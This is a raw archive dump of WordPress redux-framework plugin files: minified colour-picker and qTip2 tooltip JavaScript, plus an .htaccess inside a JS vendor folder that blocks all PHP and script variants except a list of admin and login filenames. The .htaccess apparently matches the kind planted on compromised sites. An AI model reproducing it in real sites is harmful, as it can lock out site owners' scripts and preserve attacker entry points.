e&&(e.hasOwnProperty("r")&&e.hasOwnProperty("g")&&e.hasOwnProperty("b")?(o=e.r,s=e.g,i=e.b,t={r:255*C(o,255),g:255*C(s,255),b:255*C(i,255)},a=!0,n="%"===String(e.r).substr(-1)?"prgb":"rgb"):e.hasOwnProperty("h")&&e.hasOwnProperty("s")&&e.hasOwnProperty("v")?(e.s=H(e.s),e.v=H(e.v),t=function(e,t,r){e=6*C(e,360),t=C(t,100),r=C(r,100);var a=u.floor(e),n=e-a,o=r*(1-t),s=r*(1-n*t),i=r*(1-(1-n)*t),l=a%6;return{r:255*[r,s,o,o,i,r][l],g:255*[i,r,r,s,o,o][l],b:255*[o,o,i,r,r,s][l]}}(e.h,e.s,e.v),a=!0,n="hsv"):e.hasOwnProperty("h")&&e.hasOwnProperty("s")&&e.hasOwnProperty("l")&&(e.s=H(e.s),e.l=H(e.l),t=function(e,t,r){var a,n,o;function s(e,t,r){return r<0&&(r+=1),1<r&&(r-=1),r<1/6?e+6*(t-e)*r:r<.5?t:r<2/3?e+(t-e)*(2/3-r)*6:e}if(e=C(e,360),t=C(t,100),r=C(r,100),0===t)a=n=o=r;else{var i=r<.5?r*(1+t):r+t-r*t,l=2*r-i;a=s(l,i,e+1/3),n=s(l,i,e),o=s(l,i,e-1/3)}return{r:255*a,g:255*n,b:255*o}}(e.h,e.s,e.l),a=!0,n="hsl"),e.hasOwnProperty("a")&&(r=e.a));var o,s,i;return r=S(r),{ok:a,format:e.format||n,r:p(255,g(t.r,0)),g:p(255,g(t.g,0)),b:p(255,g(t.b,0)),a:r}}(e),o=t.r,s=t.g,i=t.b,l=t.a,c=h(100*l)/100,r=n.format||t.format;return o<1&&(o=h(o)),s<1&&(s=h(s)),i<1&&(i=h(i)),{ok:t.ok,format:r,_tc_id:a++,alpha:l,getAlpha:function(){return l},setAlpha:function(e){l=S(e),c=h(100*l)/100},toHsv:function(){var e=m(o,s,i);return{h:360*e.h,s:e.s,v:e.v,a:l}},toHsvString:function(){var e=m(o,s,i),t=h(360*e.h),r=h(100*e.s),a=h(100*e.v);return 1==l?"hsv("+t+", "+r+"%, "+a+"%)":"hsva("+t+", "+r+"%, "+a+"%, "+c+")"},toHsl:function(){var e=v(o,s,i);return{h:360*e.h,s:e.s,l:e.l,a:l}},toHslString:function(){var e=v(o,s,i),t=h(360*e.h),r=h(100*e.s),a=h(100*e.l);return 1==l?"hsl("+t+", "+r+"%, "+a+"%)":"hsla("+t+", "+r+"%, "+a+"%, "+c+")"},toHex:function(e){return y(o,s,i,e)},toHexString:function(e){return"#"+this.toHex(e)},toHex8:function(){return w(o,s,i,l)},toHex8String:function(){return"#"+this.toHex8()},toRgb:function(){return{r:h(o),g:h(s),b:h(i),a:l}},toRgbString:function(){return 1==l?"rgb("+h(o)+", "+h(s)+", "+h(i)+")":"rgba("+h(o)+", "+h(s)+", "+h(i)+", "+c+")"},toPercentageRgb:function(){return{r:h(100*C(o,255))+"%",g:h(100*C(s,255))+"%",b:h(100*C(i,255))+"%",a:l}},toPercentageRgbString:function(){return 1==l?"rgb("+h(100*C(o,255))+"%, "+h(100*C(s,255))+"%, "+h(100*C(i,255))+"%)":"rgba("+h(100*C(o,255))+"%, "+h(100*C(s,255))+"%, "+h(100*C(i,255))+"%, "+c+")"},toName:function(){return 0===l?"transparent":k[y(o,s,i,!0)]||!1},toFilter:function(e){var t="#"+w(o,s,i,l),r=t,a=n&&n.gradientType?"GradientType = 1, ":"";e&&(r=b(e).toHex8String());return"progid:DXImageTransform.Microsoft.gradient("+a+"startColorstr="+t+",endColorstr="+r+")"},toString:function(e){var t=!!e;e=e||this.format;var r=!1,a=!t&&l<1&&0<l&&("hex"===e||"hex6"===e||"hex3"===e||"name"===e);return"rgb"===e&&(r=this.toRgbString()),"prgb"===e&&(r=this.toPercentageRgbString()),"hex"!==e&&"hex6"!==e||(r=this.toHexString()),"hex3"===e&&(r=this.toHexString(!0)),"hex8"===e&&(r=this.toHex8String()),"name"===e&&(r=this.toName()),"hsl"===e&&(r=this.toHslString()),"hsv"===e&&(r=this.toHsvString()),a?this.toRgbString():r||this.toHexString()}}}function v(e,t,r){e=C(e,255),t=C(t,255),r=C(r,255);var a,n,o=g(e,t,r),s=p(e,t,r),i=(o+s)/2;if(o==s)a=n=0;else{var l=o-s;switch(n=.5<i?l/(2-o-s):l/(o+s),o){case e:a=(t-r)/l+(t<r?6:0);break;case t:a=(r-e)/l+2;break;case r:a=(e-t)/l+4}a/=6}return{h:a,s:n,l:i}}function m(e,t,r){e=C(e,255),t=C(t,255),r=C(r,255);var a,n,o=g(e,t,r),s=p(e,t,r),i=o,l=o-s;if(n=0===o?0:l/o,o==s)a=0;else{switch(o){case e:a=(t-r)/l+(t<r?6:0);break;case t:a=(r-e)/l+2;break;case r:a=(e-t)/l+4}a/=6}return{h:a,s:n,v:i}}function y(e,t,r,a){var n=[o(h(e).toString(16)),o(h(t).toString(16)),o(h(r).toString(16))];return a&&n[0].charAt(0)==n[0].charAt(1)&&n[1].charAt(0)==n[1].charAt(1)&&n[2].charAt(0)==n[2].charAt(1)?n[0].charAt(0)+n[1].charAt(0)+n[2].charAt(0):n.join("")}function w(e,t,r,a){var n;return[o((n=a,Math.round(255*parseFloat(n)).toString(16))),o(h(e).toString(16)),o(h(t).toString(16)),o(h(r).toString(16))].join("")}b.fromRatio=function(e,t){if("object"==typeof e){var r={};for(var a in e)e.hasOwnProperty(a)&&(r[a]="a"===a?e[a]:H(e[a]));e=r}return b(e,t)},b.equals=function(e,t){return!(!e||!t)&&b(e).toRgbString()==b(t).toRgbString()},b.random=function(){return b.fromRatio({r:e(),g:e(),b:e()})},b.desaturate=function(e,t){t=0===t?0:t||10;var r=b(e).toHsl();return r.s-=t/100,r.s=n(r.s),b(r)},b.saturate=function(e,t){t=0===t?0:t||10;var r=b(e).toHsl();return r.s+=t/100,r.s=n(r.s),b(r)},b.greyscale=function(e){return b.desaturate(e,100)},b.lighten=function(e,t){t=0===t?0:t||10;var r=b(e).toHsl();return r.l+=t/100,r.l=n(r.l),b(r)},b.darken=function(e,t){t=0===t?0:t||10;var r=b(e).toHsl();return r.l-=t/100,r.l=n(r.l),b(r)},b.complement=function(e){var t=b(e).toHsl();return t.h=(t.h+180)%360,b(t)},b.triad=function(e){var t=b(e).toHsl(),r=t.h;return[b(e),b({h:(r+120)%360,s:t.s,l:t.l}),b({h:(r+240)%360,s:t.s,l:t.l})]},b.tetrad=function(e){var t=b(e).toHsl(),r=t.h;return[b(e),b({h:(r+90)%360,s:t.s,l:t.l}),b({h:(r+180)%360,s:t.s,l:t.l}),b({h:(r+270)%360,s:t.s,l:t.l})]},b.splitcomplement=function(e){var t=b(e).toHsl(),r=t.h;return[b(e),b({h:(r+72)%360,s:t.s,l:t.l}),b({h:(r+216)%360,s:t.s,l:t.l})]},b.analogous=function(e,t,r){t=t||6,r=r||30;var a=b(e).toHsl(),n=360/r,o=[b(e)];for(a.h=(a.h-(n*t>>1)+720)%360;--t;)a.h=(a.h+n)%360,o.push(b(a));return o},b.monochromatic=function(e,t){t=t||6;for(var r=b(e).toHsv(),a=r.h,n=r.s,o=r.v,s=[],i=1/t;t--;)s.push(b({h:a,s:n,v:o})),o=(o+i)%1;return s},b.readability=function(e,t){var r=b(e).toRgb(),a=b(t).toRgb(),n=(299*r.r+587*r.g+114*r.b)/1e3,o=(299*a.r+587*a.g+114*a.b)/1e3,s=Math.max(r.r,a.r)-Math.min(r.r,a.r)+Math.max(r.g,a.g)-Math.min(r.g,a.g)+Math.max(r.b,a.b)-Math.min(r.b,a.b);return{brightness:Math.abs(n-o),color:s}},b.readable=function(e,t){var r=b.readability(e,t);return 125<r.brightness&&500<r.color},b.mostReadable=function(e,t){for(var r=null,a=0,n=!1,o=0;o<t.length;o++){var s=b.readability(e,t[o]),i=125<s.brightness&&500<s.color,l=s.brightness/125*3+s.color/500;(i&&!n||i&&n&&a<l||!i&&!n&&a<l)&&(n=i,a=l,r=b(t[o]))}return r};var x=b.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"},k=b.hexNames=function(e){var t={};for(var r in e)e.hasOwnProperty(r)&&(t[e[r]]=r);return t}(x);function S(e){return e=parseFloat(e),(isNaN(e)||e<0||1<e)&&(e=1),e}function C(e,t){var r;"string"==typeof(r=e)&&-1!=r.indexOf(".")&&1===parseFloat(r)&&(e="100%");var a,n="string"==typeof(a=e)&&-1!=a.indexOf("%");return e=p(t,g(0,parseFloat(e))),n&&(e=parseInt(e*t,10)/100),u.abs(e-t)<1e-6?1:e%t/parseFloat(t)}function n(e){return p(1,g(0,e))}function P(e){return parseInt(e,16)}function o(e){return 1==e.length?"0"+e:""+e}function H(e){return e<=1&&(e=100*e+"%"),e}var t,r,s,A=(r="[\\s|\\(]+("+(t="(?:[-\\+]?\\d*\\.\\d+%?)|(?:[-\\+]?\\d+%?)")+")[,|\\s]+("+t+")[,|\\s]+("+t+")\\s*\\)?",s="[\\s|\\(]+("+t+")[,|\\s]+("+t+")[,|\\s]+("+t+")[,|\\s]+("+t+")\\s*\\)?",{rgb:new RegExp("rgb"+r),rgba:new RegExp("rgba"+s),hsl:new RegExp("hsl"+r),hsla:new RegExp("hsla"+s),hsv:new RegExp("hsv"+r),hex3:/^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex8:/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/});Ne.tinycolor=b}(),qe(function(){qe.fn.spectrum.load&&qe.fn.spectrum.processNativeColorInputs()})}(window,jQuery);�����������������������������������������������������������������������������redux-framework/assets/js/vendor/spectrum/.htaccess�������������������������������������������������0000644�����������������00000001626�14720701300�0016540 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/qtip/jquery.qtip.min.js��������������������������������������������0000644�����������������00000126414�14720701300�0017473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* qTip2 v2.2.1 | Plugins: tips modal viewport svg imagemap ie6 | Styles: core basic css3 | qtip2.com | Licensed MIT | Sat Sep 06 2014 23:12:07 */ !function(a,b,c){!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):jQuery&&!jQuery.fn.qtip&&a(jQuery)}(function(d){"use strict";function e(a,b,c,e){this.id=c,this.target=a,this.tooltip=F,this.elements={target:a},this._id=S+"-"+c,this.timers={img:{}},this.options=b,this.plugins={},this.cache={event:{},target:d(),disabled:E,attr:e,onTooltip:E,lastClass:""},this.rendered=this.destroyed=this.disabled=this.waiting=this.hiddenDuringWait=this.positioning=this.triggering=E}function f(a){return a===F||"object"!==d.type(a)}function g(a){return!(d.isFunction(a)||a&&a.attr||a.length||"object"===d.type(a)&&(a.jquery||a.then))}function h(a){var b,c,e,h;return f(a)?E:(f(a.metadata)&&(a.metadata={type:a.metadata}),"content"in a&&(b=a.content,f(b)||b.jquery||b.done?b=a.content={text:c=g(b)?E:b}:c=b.text,"ajax"in b&&(e=b.ajax,h=e&&e.once!==E,delete b.ajax,b.text=function(a,b){var f=c||d(this).attr(b.options.content.attr)||"Loading...",g=d.ajax(d.extend({},e,{context:b})).then(e.success,F,e.error).then(function(a){return a&&h&&b.set("content.text",a),a},function(a,c,d){b.destroyed||0===a.status||b.set("content.text",c+": "+d)});return h?f:(b.set("content.text",f),g)}),"title"in b&&(d.isPlainObject(b.title)&&(b.button=b.title.button,b.title=b.title.text),g(b.title||E)&&(b.title=E))),"position"in a&&f(a.position)&&(a.position={my:a.position,at:a.position}),"show"in a&&f(a.show)&&(a.show=a.show.jquery?{target:a.show}:a.show===D?{ready:D}:{event:a.show}),"hide"in a&&f(a.hide)&&(a.hide=a.hide.jquery?{target:a.hide}:{event:a.hide}),"style"in a&&f(a.style)&&(a.style={classes:a.style}),d.each(R,function(){this.sanitize&&this.sanitize(a)}),a)}function i(a,b){for(var c,d=0,e=a,f=b.split(".");e=e[f[d++]];)d<f.length&&(c=e);return[c||a,f.pop()]}function j(a,b){var c,d,e;for(c in this.checks)for(d in this.checks[c])(e=new RegExp(d,"i").exec(a))&&(b.push(e),("builtin"===c||this.plugins[c])&&this.checks[c][d].apply(this.plugins[c]||this,b))}function k(a){return V.concat("").join(a?"-"+a+" ":" ")}function l(a,b){return b>0?setTimeout(d.proxy(a,this),b):void a.call(this)}function m(a){this.tooltip.hasClass(ab)||(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this.timers.show=l.call(this,function(){this.toggle(D,a)},this.options.show.delay))}function n(a){if(!this.tooltip.hasClass(ab)&&!this.destroyed){var b=d(a.relatedTarget),c=b.closest(W)[0]===this.tooltip[0],e=b[0]===this.options.show.target[0];if(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this!==b[0]&&"mouse"===this.options.position.target&&c||this.options.hide.fixed&&/mouse(out|leave|move)/.test(a.type)&&(c||e))try{a.preventDefault(),a.stopImmediatePropagation()}catch(f){}else this.timers.hide=l.call(this,function(){this.toggle(E,a)},this.options.hide.delay,this)}}function o(a){!this.tooltip.hasClass(ab)&&this.options.hide.inactive&&(clearTimeout(this.timers.inactive),this.timers.inactive=l.call(this,function(){this.hide(a)},this.options.hide.inactive))}function p(a){this.rendered&&this.tooltip[0].offsetWidth>0&&this.reposition(a)}function q(a,c,e){d(b.body).delegate(a,(c.split?c:c.join("."+S+" "))+"."+S,function(){var a=y.api[d.attr(this,U)];a&&!a.disabled&&e.apply(a,arguments)})}function r(a,c,f){var g,i,j,k,l,m=d(b.body),n=a[0]===b?m:a,o=a.metadata?a.metadata(f.metadata):F,p="html5"===f.metadata.type&&o?o[f.metadata.name]:F,q=a.data(f.metadata.name||"qtipopts");try{q="string"==typeof q?d.parseJSON(q):q}catch(r){}if(k=d.extend(D,{},y.defaults,f,"object"==typeof q?h(q):F,h(p||o)),i=k.position,k.id=c,"boolean"==typeof k.content.text){if(j=a.attr(k.content.attr),k.content.attr===E||!j)return E;k.content.text=j}if(i.container.length||(i.container=m),i.target===E&&(i.target=n),k.show.target===E&&(k.show.target=n),k.show.solo===D&&(k.show.solo=i.container.closest("body")),k.hide.target===E&&(k.hide.target=n),k.position.viewport===D&&(k.position.viewport=i.container),i.container=i.container.eq(0),i.at=new A(i.at,D),i.my=new A(i.my),a.data(S))if(k.overwrite)a.qtip("destroy",!0);else if(k.overwrite===E)return E;return a.attr(T,c),k.suppress&&(l=a.attr("title"))&&a.removeAttr("title").attr(cb,l).attr("title",""),g=new e(a,k,c,!!j),a.data(S,g),g}function s(a){return a.charAt(0).toUpperCase()+a.slice(1)}function t(a,b){var d,e,f=b.charAt(0).toUpperCase()+b.slice(1),g=(b+" "+rb.join(f+" ")+f).split(" "),h=0;if(qb[b])return a.css(qb[b]);for(;d=g[h++];)if((e=a.css(d))!==c)return qb[b]=d,e}function u(a,b){return Math.ceil(parseFloat(t(a,b)))}function v(a,b){this._ns="tip",this.options=b,this.offset=b.offset,this.size=[b.width,b.height],this.init(this.qtip=a)}function w(a,b){this.options=b,this._ns="-modal",this.init(this.qtip=a)}function x(a){this._ns="ie6",this.init(this.qtip=a)}var y,z,A,B,C,D=!0,E=!1,F=null,G="x",H="y",I="width",J="height",K="top",L="left",M="bottom",N="right",O="center",P="flipinvert",Q="shift",R={},S="qtip",T="data-hasqtip",U="data-qtip-id",V=["ui-widget","ui-tooltip"],W="."+S,X="click dblclick mousedown mouseup mousemove mouseleave mouseenter".split(" "),Y=S+"-fixed",Z=S+"-default",$=S+"-focus",_=S+"-hover",ab=S+"-disabled",bb="_replacedByqTip",cb="oldtitle",db={ie:function(){for(var a=4,c=b.createElement("div");(c.innerHTML="<!--[if gt IE "+a+"]><i></i><![endif]-->")&&c.getElementsByTagName("i")[0];a+=1);return a>4?a:0/0}(),iOS:parseFloat((""+(/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent)||[0,""])[1]).replace("undefined","3_2").replace("_",".").replace("_",""))||E};z=e.prototype,z._when=function(a){return d.when.apply(d,a)},z.render=function(a){if(this.rendered||this.destroyed)return this;var b,c=this,e=this.options,f=this.cache,g=this.elements,h=e.content.text,i=e.content.title,j=e.content.button,k=e.position,l=("."+this._id+" ",[]);return d.attr(this.target[0],"aria-describedby",this._id),f.posClass=this._createPosClass((this.position={my:k.my,at:k.at}).my),this.tooltip=g.tooltip=b=d("<div/>",{id:this._id,"class":[S,Z,e.style.classes,f.posClass].join(" "),width:e.style.width||"",height:e.style.height||"",tracking:"mouse"===k.target&&k.adjust.mouse,role:"alert","aria-live":"polite","aria-atomic":E,"aria-describedby":this._id+"-content","aria-hidden":D}).toggleClass(ab,this.disabled).attr(U,this.id).data(S,this).appendTo(k.container).append(g.content=d("<div />",{"class":S+"-content",id:this._id+"-content","aria-atomic":D})),this.rendered=-1,this.positioning=D,i&&(this._createTitle(),d.isFunction(i)||l.push(this._updateTitle(i,E))),j&&this._createButton(),d.isFunction(h)||l.push(this._updateContent(h,E)),this.rendered=D,this._setWidget(),d.each(R,function(a){var b;"render"===this.initialize&&(b=this(c))&&(c.plugins[a]=b)}),this._unassignEvents(),this._assignEvents(),this._when(l).then(function(){c._trigger("render"),c.positioning=E,c.hiddenDuringWait||!e.show.ready&&!a||c.toggle(D,f.event,E),c.hiddenDuringWait=E}),y.api[this.id]=this,this},z.destroy=function(a){function b(){if(!this.destroyed){this.destroyed=D;var a,b=this.target,c=b.attr(cb);this.rendered&&this.tooltip.stop(1,0).find("*").remove().end().remove(),d.each(this.plugins,function(){this.destroy&&this.destroy()});for(a in this.timers)clearTimeout(this.timers[a]);b.removeData(S).removeAttr(U).removeAttr(T).removeAttr("aria-describedby"),this.options.suppress&&c&&b.attr("title",c).removeAttr(cb),this._unassignEvents(),this.options=this.elements=this.cache=this.timers=this.plugins=this.mouse=F,delete y.api[this.id]}}return this.destroyed?this.target:(a===D&&"hide"!==this.triggering||!this.rendered?b.call(this):(this.tooltip.one("tooltiphidden",d.proxy(b,this)),!this.triggering&&this.hide()),this.target)},B=z.checks={builtin:{"^id$":function(a,b,c,e){var f=c===D?y.nextid:c,g=S+"-"+f;f!==E&&f.length>0&&!d("#"+g).length?(this._id=g,this.rendered&&(this.tooltip[0].id=this._id,this.elements.content[0].id=this._id+"-content",this.elements.title[0].id=this._id+"-title")):a[b]=e},"^prerender":function(a,b,c){c&&!this.rendered&&this.render(this.options.show.ready)},"^content.text$":function(a,b,c){this._updateContent(c)},"^content.attr$":function(a,b,c,d){this.options.content.text===this.target.attr(d)&&this._updateContent(this.target.attr(c))},"^content.title$":function(a,b,c){return c?(c&&!this.elements.title&&this._createTitle(),void this._updateTitle(c)):this._removeTitle()},"^content.button$":function(a,b,c){this._updateButton(c)},"^content.title.(text|button)$":function(a,b,c){this.set("content."+b,c)},"^position.(my|at)$":function(a,b,c){"string"==typeof c&&(this.position[b]=a[b]=new A(c,"at"===b))},"^position.container$":function(a,b,c){this.rendered&&this.tooltip.appendTo(c)},"^show.ready$":function(a,b,c){c&&(!this.rendered&&this.render(D)||this.toggle(D))},"^style.classes$":function(a,b,c,d){this.rendered&&this.tooltip.removeClass(d).addClass(c)},"^style.(width|height)":function(a,b,c){this.rendered&&this.tooltip.css(b,c)},"^style.widget|content.title":function(){this.rendered&&this._setWidget()},"^style.def":function(a,b,c){this.rendered&&this.tooltip.toggleClass(Z,!!c)},"^events.(render|show|move|hide|focus|blur)$":function(a,b,c){this.rendered&&this.tooltip[(d.isFunction(c)?"":"un")+"bind"]("tooltip"+b,c)},"^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)":function(){if(this.rendered){var a=this.options.position;this.tooltip.attr("tracking","mouse"===a.target&&a.adjust.mouse),this._unassignEvents(),this._assignEvents()}}}},z.get=function(a){if(this.destroyed)return this;var b=i(this.options,a.toLowerCase()),c=b[0][b[1]];return c.precedance?c.string():c};var eb=/^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i,fb=/^prerender|show\.ready/i;z.set=function(a,b){if(this.destroyed)return this;{var c,e=this.rendered,f=E,g=this.options;this.checks}return"string"==typeof a?(c=a,a={},a[c]=b):a=d.extend({},a),d.each(a,function(b,c){if(e&&fb.test(b))return void delete a[b];var h,j=i(g,b.toLowerCase());h=j[0][j[1]],j[0][j[1]]=c&&c.nodeType?d(c):c,f=eb.test(b)||f,a[b]=[j[0],j[1],c,h]}),h(g),this.positioning=D,d.each(a,d.proxy(j,this)),this.positioning=E,this.rendered&&this.tooltip[0].offsetWidth>0&&f&&this.reposition("mouse"===g.position.target?F:this.cache.event),this},z._update=function(a,b){var c=this,e=this.cache;return this.rendered&&a?(d.isFunction(a)&&(a=a.call(this.elements.target,e.event,this)||""),d.isFunction(a.then)?(e.waiting=D,a.then(function(a){return e.waiting=E,c._update(a,b)},F,function(a){return c._update(a,b)})):a===E||!a&&""!==a?E:(a.jquery&&a.length>0?b.empty().append(a.css({display:"block",visibility:"visible"})):b.html(a),this._waitForContent(b).then(function(a){c.rendered&&c.tooltip[0].offsetWidth>0&&c.reposition(e.event,!a.length)}))):E},z._waitForContent=function(a){var b=this.cache;return b.waiting=D,(d.fn.imagesLoaded?a.imagesLoaded():d.Deferred().resolve([])).done(function(){b.waiting=E}).promise()},z._updateContent=function(a,b){this._update(a,this.elements.content,b)},z._updateTitle=function(a,b){this._update(a,this.elements.title,b)===E&&this._removeTitle(E)},z._createTitle=function(){var a=this.elements,b=this._id+"-title";a.titlebar&&this._removeTitle(),a.titlebar=d("<div />",{"class":S+"-titlebar "+(this.options.style.widget?k("header"):"")}).append(a.title=d("<div />",{id:b,"class":S+"-title","aria-atomic":D})).insertBefore(a.content).delegate(".qtip-close","mousedown keydown mouseup keyup mouseout",function(a){d(this).toggleClass("ui-state-active ui-state-focus","down"===a.type.substr(-4))}).delegate(".qtip-close","mouseover mouseout",function(a){d(this).toggleClass("ui-state-hover","mouseover"===a.type)}),this.options.content.button&&this._createButton()},z._removeTitle=function(a){var b=this.elements;b.title&&(b.titlebar.remove(),b.titlebar=b.title=b.button=F,a!==E&&this.reposition())},z._createPosClass=function(a){return S+"-pos-"+(a||this.options.position.my).abbrev()},z.reposition=function(c,e){if(!this.rendered||this.positioning||this.destroyed)return this;this.positioning=D;var f,g,h,i,j=this.cache,k=this.tooltip,l=this.options.position,m=l.target,n=l.my,o=l.at,p=l.viewport,q=l.container,r=l.adjust,s=r.method.split(" "),t=k.outerWidth(E),u=k.outerHeight(E),v=0,w=0,x=k.css("position"),y={left:0,top:0},z=k[0].offsetWidth>0,A=c&&"scroll"===c.type,B=d(a),C=q[0].ownerDocument,F=this.mouse;if(d.isArray(m)&&2===m.length)o={x:L,y:K},y={left:m[0],top:m[1]};else if("mouse"===m)o={x:L,y:K},(!r.mouse||this.options.hide.distance)&&j.origin&&j.origin.pageX?c=j.origin:!c||c&&("resize"===c.type||"scroll"===c.type)?c=j.event:F&&F.pageX&&(c=F),"static"!==x&&(y=q.offset()),C.body.offsetWidth!==(a.innerWidth||C.documentElement.clientWidth)&&(g=d(b.body).offset()),y={left:c.pageX-y.left+(g&&g.left||0),top:c.pageY-y.top+(g&&g.top||0)},r.mouse&&A&&F&&(y.left-=(F.scrollX||0)-B.scrollLeft(),y.top-=(F.scrollY||0)-B.scrollTop());else{if("event"===m?c&&c.target&&"scroll"!==c.type&&"resize"!==c.type?j.target=d(c.target):c.target||(j.target=this.elements.target):"event"!==m&&(j.target=d(m.jquery?m:this.elements.target)),m=j.target,m=d(m).eq(0),0===m.length)return this;m[0]===b||m[0]===a?(v=db.iOS?a.innerWidth:m.width(),w=db.iOS?a.innerHeight:m.height(),m[0]===a&&(y={top:(p||m).scrollTop(),left:(p||m).scrollLeft()})):R.imagemap&&m.is("area")?f=R.imagemap(this,m,o,R.viewport?s:E):R.svg&&m&&m[0].ownerSVGElement?f=R.svg(this,m,o,R.viewport?s:E):(v=m.outerWidth(E),w=m.outerHeight(E),y=m.offset()),f&&(v=f.width,w=f.height,g=f.offset,y=f.position),y=this.reposition.offset(m,y,q),(db.iOS>3.1&&db.iOS<4.1||db.iOS>=4.3&&db.iOS<4.33||!db.iOS&&"fixed"===x)&&(y.left-=B.scrollLeft(),y.top-=B.scrollTop()),(!f||f&&f.adjustable!==E)&&(y.left+=o.x===N?v:o.x===O?v/2:0,y.top+=o.y===M?w:o.y===O?w/2:0)}return y.left+=r.x+(n.x===N?-t:n.x===O?-t/2:0),y.top+=r.y+(n.y===M?-u:n.y===O?-u/2:0),R.viewport?(h=y.adjusted=R.viewport(this,y,l,v,w,t,u),g&&h.left&&(y.left+=g.left),g&&h.top&&(y.top+=g.top),h.my&&(this.position.my=h.my)):y.adjusted={left:0,top:0},j.posClass!==(i=this._createPosClass(this.position.my))&&k.removeClass(j.posClass).addClass(j.posClass=i),this._trigger("move",[y,p.elem||p],c)?(delete 